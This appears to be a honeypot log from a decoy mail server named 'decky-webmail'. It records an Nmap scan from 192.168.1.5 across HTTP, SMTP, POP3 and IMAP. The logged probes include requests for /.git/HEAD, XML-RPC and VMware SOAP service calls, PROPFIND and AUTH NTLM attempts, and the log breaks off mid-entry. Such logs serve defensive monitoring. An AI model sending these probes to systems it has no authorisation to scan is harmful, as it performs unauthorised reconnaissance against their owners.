service: http
event_type: startup
attacker_ip: Unknown
fields: {}
msg: HTTP server starting as decky-webmail
raw_line:
  <134>1 2026-04-08T04:31:57.630505+00:00 decky-webmail http - startup - HTTP server starting as decky-webmail


timestamp: 2026-04-08 04:32:28
decky: decky-webmail
service: smtp
event_type: connect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "src_port": "46314"}
raw_line:
  <134>1 2026-04-08T04:32:28.201534+00:00 decky-webmail smtp - connect [decnet@55555 src="192.168.1.5" src_port="46314"]


timestamp: 2026-04-08 04:32:28
decky: decky-webmail
service: pop3
event_type: connect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "src_port": "52752"}
raw_line:
  <134>1 2026-04-08T04:32:28.201533+00:00 decky-webmail pop3 - connect [decnet@55555 src="192.168.1.5" src_port="52752"]


timestamp: 2026-04-08 04:32:28
decky: decky-webmail
service: imap
event_type: connect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "src_port": "58706"}
raw_line:
  <134>1 2026-04-08T04:32:28.201533+00:00 decky-webmail imap - connect [decnet@55555 src="192.168.1.5" src_port="58706"]


timestamp: 2026-04-08 04:32:28
decky: decky-webmail
service: smtp
event_type: disconnect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5"}
raw_line:
  <134>1 2026-04-08T04:32:28.204354+00:00 decky-webmail smtp - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 04:32:34
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "cmd": "GET / HTTP/1.0"}
raw_line:
  <134>1 2026-04-08T04:32:34.208463+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="GET / HTTP/1.0"]


timestamp: 2026-04-08 04:32:34
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "cmd": ""}
raw_line:
  <134>1 2026-04-08T04:32:34.208463+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd=""]


timestamp: 2026-04-08 04:32:34
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "cmd": ""}
raw_line:
  <134>1 2026-04-08T04:32:34.208779+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd=""]


timestamp: 2026-04-08 04:32:34
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
fields: {"method": "GET", "path": "/", "remote_addr": "192.168.1.5", "headers": "{}", "body": ""}
raw_line:
  <134>1 2026-04-08T04:32:34.208799+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{}" body=""]


timestamp: 2026-04-08 04:32:39
decky: decky-webmail
service: pop3
event_type: disconnect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5"}
raw_line:
  <134>1 2026-04-08T04:32:39.213936+00:00 decky-webmail pop3 - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 04:32:39
decky: decky-webmail
service: imap
event_type: disconnect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5"}
raw_line:
  <134>1 2026-04-08T04:32:39.214047+00:00 decky-webmail imap - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 04:32:39
decky: decky-webmail
service: pop3
event_type: connect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "src_port": "49084"}
raw_line:
  <134>1 2026-04-08T04:32:39.214360+00:00 decky-webmail pop3 - connect [decnet@55555 src="192.168.1.5" src_port="49084"]


timestamp: 2026-04-08 04:32:39
decky: decky-webmail
service: imap
event_type: connect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "src_port": "46786"}
raw_line:
  <134>1 2026-04-08T04:32:39.214382+00:00 decky-webmail imap - connect [decnet@55555 src="192.168.1.5" src_port="46786"]


timestamp: 2026-04-08 04:32:39
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "cmd": "OPTIONS / HTTP/1.0"}
raw_line:
  <134>1 2026-04-08T04:32:39.214547+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd="OPTIONS / HTTP/1.0"]


timestamp: 2026-04-08 04:32:39
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "cmd": ""}
raw_line:
  <134>1 2026-04-08T04:32:39.214632+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd=""]


timestamp: 2026-04-08 04:32:44
decky: decky-webmail
service: pop3
event_type: disconnect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5"}
raw_line:
  <134>1 2026-04-08T04:32:44.216934+00:00 decky-webmail pop3 - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 04:32:44
decky: decky-webmail
service: imap
event_type: disconnect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5"}
raw_line:
  <134>1 2026-04-08T04:32:44.216934+00:00 decky-webmail imap - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: pop3
event_type: connect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "src_port": "49086"}
raw_line:
  <134>1 2026-04-08T04:32:45.500361+00:00 decky-webmail pop3 - connect [decnet@55555 src="192.168.1.5" src_port="49086"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: smtp
event_type: connect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "src_port": "39446"}
raw_line:
  <134>1 2026-04-08T04:32:45.502004+00:00 decky-webmail smtp - connect [decnet@55555 src="192.168.1.5" src_port="39446"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: pop3
event_type: connect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "src_port": "49096"}
raw_line:
  <134>1 2026-04-08T04:32:45.502741+00:00 decky-webmail pop3 - connect [decnet@55555 src="192.168.1.5" src_port="49096"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: imap
event_type: connect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "src_port": "46800"}
raw_line:
  <134>1 2026-04-08T04:32:45.502819+00:00 decky-webmail imap - connect [decnet@55555 src="192.168.1.5" src_port="46800"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: pop3
event_type: connect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "src_port": "49100"}
raw_line:
  <134>1 2026-04-08T04:32:45.503064+00:00 decky-webmail pop3 - connect [decnet@55555 src="192.168.1.5" src_port="49100"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: smtp
event_type: connect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "src_port": "39462"}
raw_line:
  <134>1 2026-04-08T04:32:45.505187+00:00 decky-webmail smtp - connect [decnet@55555 src="192.168.1.5" src_port="39462"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:32:45.506648+00:00 decky-webmail http - request [decnet@55555 method="OPTIONS" path="/" remote_addr="192.168.1.5" headers="{'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110', 'Connection': 'close'}" body=""]

fields:
  {"method": "OPTIONS", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110', 'Connection': 'close'}", "body": ""}


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:32:45.506887+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110', 'Connection': 'close'}" body=""]

fields:
  {"method": "GET", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110', 'Connection': 'close'}", "body": ""}


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: smtp
event_type: ehlo
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "domain": "nmap.scanme.org"}
raw_line:
  <134>1 2026-04-08T04:32:45.509431+00:00 decky-webmail smtp - ehlo [decnet@55555 src="192.168.1.5" domain="nmap.scanme.org"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "cmd": "STLS"}
raw_line:
  <134>1 2026-04-08T04:32:45.509415+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd="STLS"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:32:45.507420+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/nmaplowercheck1775622765" remote_addr="192.168.1.5" headers="{'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110', 'Connection': 'close'}" body=""]

fields:
  {"method": "GET", "path": "/nmaplowercheck1775622765", "remote_addr": "192.168.1.5", "headers": "{'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110', 'Connection': 'close'}", "body": ""}


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: smtp
event_type: ehlo
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "domain": "nmap.scanme.org"}
raw_line:
  <134>1 2026-04-08T04:32:45.509673+00:00 decky-webmail smtp - ehlo [decnet@55555 src="192.168.1.5" domain="nmap.scanme.org"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "cmd": "STLS"}
raw_line:
  <134>1 2026-04-08T04:32:45.509692+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd="STLS"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:32:45.507695+00:00 decky-webmail http - request [decnet@55555 method="OPTIONS" path="/" remote_addr="192.168.1.5" headers="{'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110', 'Connection': 'close'}" body=""]

fields:
  {"method": "OPTIONS", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110', 'Connection': 'close'}", "body": ""}


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:32:45.508029+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/.git/HEAD" remote_addr="192.168.1.5" headers="{'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110', 'Connection': 'close'}" body=""]

fields:
  {"method": "GET", "path": "/.git/HEAD", "remote_addr": "192.168.1.5", "headers": "{'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110', 'Connection': 'close'}", "body": ""}


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:32:45.508303+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/robots.txt" remote_addr="192.168.1.5" headers="{'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110', 'Connection': 'close'}" body=""]

fields:
  {"method": "GET", "path": "/robots.txt", "remote_addr": "192.168.1.5", "headers": "{'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110', 'Connection': 'close'}", "body": ""}


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:32:45.508606+00:00 decky-webmail http - request [decnet@55555 method="POST" path="/" remote_addr="192.168.1.5" headers="{'Content-Length': '88', 'Connection': 'close', 'Content-Type': 'application/x-www-form-urlencoded', 'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body="<methodCall> <methodName>system.listMethods</methodName> <params></params> </methodCall>"]

fields:
  {"method": "POST", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Content-Length': '88', 'Connection': 'close', 'Content-Type': 'application/x-www-form-urlencoded', 'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}", "body": "<methodCall> <methodName>system.listMethods</methodName> <params></params> </methodCall>"}


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
fields: {"method": "GET", "path": "/", "remote_addr": "192.168.1.5", "headers": "{}", "body": ""}
raw_line:
  <134>1 2026-04-08T04:32:45.507559+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{}" body=""]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:32:45.508180+00:00 decky-webmail http - request [decnet@55555 method="OPTIONS" path="/" remote_addr="192.168.1.5" headers="{'Origin': 'example.com', 'Connection': 'close', 'Access-Control-Request-Method': 'HEAD', 'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
  {"method": "OPTIONS", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Origin': 'example.com', 'Connection': 'close', 'Access-Control-Request-Method': 'HEAD', 'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}", "body": ""}


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:32:45.507206+00:00 decky-webmail http - request [decnet@55555 method="PROPFIND" path="/" remote_addr="192.168.1.5" headers="{'Depth': '0', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110', 'Connection': 'close'}" body=""]

fields:
  {"method": "PROPFIND", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Depth': '0', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110', 'Connection': 'close'}", "body": ""}


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:32:45.507859+00:00 decky-webmail http - request [decnet@55555 method="POST" path="/sdk" remote_addr="192.168.1.5" headers="{'Content-Length': '441', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110', 'Connection': 'close'}" body="<soap:Envelope xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"><soap:Header><operationID>00000001-00000001</operationID></soap:Header><soap:Body><RetrieveServiceContent xmlns=\"urn:internalvim25\"><_this xsi:type=\"ManagedObjectReference\" type=\"ServiceInstance\">ServiceInstance</_this></RetrieveServiceContent></soap:Body></soap:Envelope>"]

fields:
  {"method": "POST", "path": "/sdk", "remote_addr": "192.168.1.5", "headers": "{'Content-Length': '441', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110', 'Connection': 'close'}", "body": "<soap:Envelope xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"><soap:Header><operationID>00000001-00000001</operationID></soap:Header><soap:Body><RetrieveServiceContent xmlns=\"urn:internalvim25\"><_this xsi:type=\"ManagedObjectReference\" type=\"ServiceInstance\">ServiceInstance</_this></RetrieveServiceContent></soap:Body></soap:Envelope>"}


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:32:45.508429+00:00 decky-webmail http - request [decnet@55555 method="PROPFIND" path="/" remote_addr="192.168.1.5" headers="{'Depth': '0', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110', 'Connection': 'close'}" body=""]

fields:
  {"method": "PROPFIND", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Depth': '0', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110', 'Connection': 'close'}", "body": ""}


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: pop3
event_type: disconnect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5"}
raw_line:
  <134>1 2026-04-08T04:32:45.512673+00:00 decky-webmail pop3 - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "cmd": "AUTH NTLM"}
raw_line:
  <134>1 2026-04-08T04:32:45.512833+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd="AUTH NTLM"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: smtp
event_type: unknown_command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "command": "HELP"}
raw_line:
  <134>1 2026-04-08T04:32:45.512839+00:00 decky-webmail smtp - unknown_command [decnet@55555 src="192.168.1.5" command="HELP"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: imap
event_type: disconnect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5"}
raw_line:
  <134>1 2026-04-08T04:32:45.512718+00:00 decky-webmail imap - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: pop3
event_type: disconnect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5"}
raw_line:
  <134>1 2026-04-08T04:32:45.512946+00:00 decky-webmail pop3 - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: smtp
event_type: connect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "src_port": "39468"}
raw_line:
  <134>1 2026-04-08T04:32:45.513069+00:00 decky-webmail smtp - connect [decnet@55555 src="192.168.1.5" src_port="39468"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:32:45.512953+00:00 decky-webmail http - request [decnet@55555 method="PROPFIND" path="/" remote_addr="192.168.1.5" headers="{'Content-Length': '0', 'Connection': 'close', 'Depth': '1', 'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
  {"method": "PROPFIND", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Content-Length': '0', 'Connection': 'close', 'Depth': '1', 'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}", "body": ""}


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:32:45.513162+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/NmapUpperCheck1775622765" remote_addr="192.168.1.5" headers="{'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110', 'Connection': 'close'}" body=""]

fields:
  {"method": "GET", "path": "/NmapUpperCheck1775622765", "remote_addr": "192.168.1.5", "headers": "{'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110', 'Connection': 'close'}", "body": ""}


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:32:45.513355+00:00 decky-webmail http - request [decnet@55555 method="OPTIONS" path="/" remote_addr="192.168.1.5" headers="{'Origin': 'example.com', 'Connection': 'close', 'Access-Control-Request-Method': 'GET', 'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
  {"method": "OPTIONS", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Origin': 'example.com', 'Connection': 'close', 'Access-Control-Request-Method': 'GET', 'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}", "body": ""}


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:32:45.513603+00:00 decky-webmail http - request [decnet@55555 method="AOGT" path="/" remote_addr="192.168.1.5" headers="{'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110', 'Connection': 'close'}" body=""]

fields:
  {"method": "AOGT", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110', 'Connection': 'close'}", "body": ""}


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "cmd": "TlRMTVNTUAABAAAAB4IIoAAAAAAAAAAAAAAAAAAAAAA="}
raw_line:
  <134>1 2026-04-08T04:32:45.514852+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd="TlRMTVNTUAABAAAAB4IIoAAAAAAAAAAAAAAAAAAAAAA="]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: smtp
event_type: disconnect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5"}
raw_line:
  <134>1 2026-04-08T04:32:45.514886+00:00 decky-webmail smtp - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: smtp
event_type: disconnect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5"}
raw_line:
  <134>1 2026-04-08T04:32:45.515015+00:00 decky-webmail smtp - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:32:45.514996+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110', 'Connection': 'close'}" body=""]

fields:
  {"method": "GET", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110', 'Connection': 'close'}", "body": ""}


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: smtp
event_type: connect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "src_port": "39484"}
raw_line:
  <134>1 2026-04-08T04:32:45.516930+00:00 decky-webmail smtp - connect [decnet@55555 src="192.168.1.5" src_port="39484"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: smtp
event_type: ehlo
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "domain": "nmap.scanme.org"}
raw_line:
  <134>1 2026-04-08T04:32:45.517101+00:00 decky-webmail smtp - ehlo [decnet@55555 src="192.168.1.5" domain="nmap.scanme.org"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: pop3
event_type: disconnect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5"}
raw_line:
  <134>1 2026-04-08T04:32:45.517216+00:00 decky-webmail pop3 - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:32:45.517249+00:00 decky-webmail http - request [decnet@55555 method="OPTIONS" path="/" remote_addr="192.168.1.5" headers="{'Origin': 'example.com', 'Connection': 'close', 'Access-Control-Request-Method': 'POST', 'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
  {"method": "OPTIONS", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Origin': 'example.com', 'Connection': 'close', 'Access-Control-Request-Method': 'POST', 'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}", "body": ""}


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:32:45.517429+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/Nmap/folder/check1775622765" remote_addr="192.168.1.5" headers="{'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110', 'Connection': 'close'}" body=""]

fields:
  {"method": "GET", "path": "/Nmap/folder/check1775622765", "remote_addr": "192.168.1.5", "headers": "{'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110', 'Connection': 'close'}", "body": ""}


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: smtp
event_type: ehlo
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "domain": "nmap.scanme.org"}
raw_line:
  <134>1 2026-04-08T04:32:45.518030+00:00 decky-webmail smtp - ehlo [decnet@55555 src="192.168.1.5" domain="nmap.scanme.org"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:32:45.517595+00:00 decky-webmail http - request [decnet@55555 method="POST" path="/" remote_addr="192.168.1.5" headers="{'Content-Length': '0', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110', 'Connection': 'close'}" body=""]

fields:
  {"method": "POST", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Content-Length': '0', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110', 'Connection': 'close'}", "body": ""}


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: smtp
event_type: auth_attempt
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "command": "AUTH NTLM"}
raw_line:
  <134>1 2026-04-08T04:32:45.518736+00:00 decky-webmail smtp - auth_attempt [decnet@55555 src="192.168.1.5" command="AUTH NTLM"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: smtp
event_type: disconnect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5"}
raw_line:
  <134>1 2026-04-08T04:32:45.518832+00:00 decky-webmail smtp - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: smtp
event_type: disconnect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5"}
raw_line:
  <134>1 2026-04-08T04:32:45.518908+00:00 decky-webmail smtp - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:32:45.518681+00:00 decky-webmail http - request [decnet@55555 method="OPTIONS" path="/" remote_addr="192.168.1.5" headers="{'Origin': 'example.com', 'Connection': 'close', 'Access-Control-Request-Method': 'PUT', 'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
  {"method": "OPTIONS", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Origin': 'example.com', 'Connection': 'close', 'Access-Control-Request-Method': 'PUT', 'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}", "body": ""}


timestamp: 2026-04-08 04:32:45
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
